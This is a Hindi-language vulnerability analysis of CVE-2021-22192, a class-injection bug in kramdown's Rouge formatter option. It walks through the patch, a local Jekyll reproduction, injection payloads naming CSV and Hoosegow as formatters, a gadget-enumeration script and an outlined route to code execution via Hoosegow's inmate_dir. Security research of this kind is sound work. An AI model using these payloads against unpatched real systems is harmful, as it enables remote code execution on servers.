
CVE-2021-22192
जब मैंने इस बग का विश्लेषण शुरू किया, तो मुझे lyy289065406 से कुछ बहुमूल्य जानकारी मिली जिसने इस बग के मूल मुद्दे को समझने में मदद की। ऐसा प्रतीत होता है कि यह gem kramdown (<= 2.3.0) में एक बग है, इसलिए मैंने पहले kramdown के बारे में जानना शुरू किया।
हम kramdown के patch की जांच कर सकते हैं, और Kramdown::Converter::SyntaxHighlighter::Rouge मॉड्यूल में formatter_class फ़ंक्शन में अंतर देखें।
::Rouge::Formatters.const_get(formatter) को ::Rouge::Formatters.const_get(formatter, false) में बदल दिया गया है।
const_get फ़ंक्शन Object क्लास से विरासत में मिला है, यह कॉन्स्टेंट प्राप्त कर सकता है। यह पहले से घोषित क्लासेस को भी वापस कर सकता है जिन्हें यह ढूंढ सकता है। अंतर केवल एक पैरामीटर false जोड़ने का है। false जोड़ने से const_get पैरेंट क्लास या मॉड्यूल से कॉन्स्टेंट प्राप्त नहीं कर सकेगा।
इससे भी अधिक विशेष: self.call फ़ंक्शन formatter_class को कॉल करता है और फिर new(opts) को कॉल करता है। इसका मतलब है कि const_get के माध्यम से प्राप्त विधि का कंस्ट्रक्टर आरंभीकरण के लिए कॉल किया जाएगा।
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Kramdown:Options के आधार पर, हम Kramdown::Converter::SyntaxHighlighter::Rouge.call फ़ंक्शन को कॉल कर सकते हैं।
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
इसके अलावा, हम Kramdown:Options मॉड्यूल में simple_hash_validator फ़ंक्शन देखते हैं जो YAML.safe_load(val) को कॉल करता है। इस प्रकार हम YAML फ़ाइल को कॉन्फ़िगर करके वांछित पेलोड को Kramdown::Converter::SyntaxHighlighter::Rouge तक पहुंचा सकते हैं।
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
पहले, मुझे jekyll सेट करने की आवश्यकता है:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock फ़ाइल को संपादित करके kramdown संस्करण को <= 2.3.0 पर सेट करेंcd jekyllTest
फ़ाइल Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
इस प्रकार, हमने एक jekyll पेज बनाने का काम पूरा कर लिया है। अब हम पेलोड डाल सकते हैं, यह देखने के लिए कि क्या Kramdown::Converter::SyntaxHighlighter::Rouge.call वास्तव में एक विधि को कॉल कर सकता है।
हम ./_config.yml फ़ाइल में जोड़ सकते हैं
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
या kramdown दस्तावेज़ का उपयोग करें ./_posts/*.markdown में पेलोड जोड़ने के लिए
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
यहाँ मैं दूसरा तरीका उपयोग कर रहा हूँ =)))))
bundle exec jekyll serve
आपको त्रुटि "require': cannot load such file -- webrick (LoadError) मिल सकती है, आपको gem "webrick" को Gemfile में जोड़ना होगा
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: यह साबित करता है कि CSV वर्ग को कॉल किया गया था।एक विश्लेषण लेख CVE-2020-10518 के अनुसार, kramdown में बग का उपयोग करके Github पर RCE हुआ। मैंने Hoosegow वर्ग को लक्षित किया:
initialize फ़ंक्शन में load_inmate_methods को कॉल किया गया है।def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods में, हम देखते हैं कि यह require inmate_file को कॉल करता है def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
और inmate_file @inmate_dir में 'inmate.rb' जोड़कर बनाया जाता है। यदि हम इस वर्ग को कॉल कर सकते हैं और inmate_dir पैरामीटर को अपनी पेलोड फ़ाइल के पथ में बदल सकते हैं, तो क्या यहाँ RCE नहीं होगा?
मैंने jekyll पेज के पथ में एक स्क्रिप्ट चलाई ताकि परिभाषित विधियों की जाँच की जा सके:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow" शर्त रखकर स्क्रिप्ट को बीच में क्रैश होने से बचाया।require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
Gemfile में gem "hoosegow" जोड़ा और स्क्रिप्ट ने यह वर्ग पा लिया। [ही ही ही]Hoosegow को कॉल करने का प्रयास करते हैं।{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~